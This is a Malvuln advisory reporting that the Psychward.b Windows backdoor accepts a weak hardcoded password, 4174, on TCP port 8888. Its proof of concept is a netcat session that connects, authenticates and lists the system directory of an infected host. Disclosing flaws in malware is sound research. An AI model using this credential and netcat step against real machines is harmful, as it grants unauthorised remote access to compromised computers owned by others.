Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/0b8cf90ab9820cb3fcb7f1d1b45e4e57.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Psychward.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware listens on TCP port 8888 and requires authentication. However, the password "4174" is weak and hardcoded in cleartext within the PE file.
Family: Psychward
Type: PE32
MD5: 0b8cf90ab9820cb3fcb7f1d1b45e4e57
Vuln ID: MVID-2022-0645
Disclosure: 09/25/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 8888
connected 09/12/22 20:44:12. version 0.2.1
pwd 4174
password accepted
dir
..
12520437.cpx	     2,151
12520850.cpx	     2,233
@AudioToastIcon.png  308
@EnrollmentToastIcon.png  330
@VpnToastIcon.png   404
@WirelessDisplayToast.png  691
aadauthhelper.dll  154,624
aadtb.dll	   954,880
AboveLockAppHost.dll  252,928



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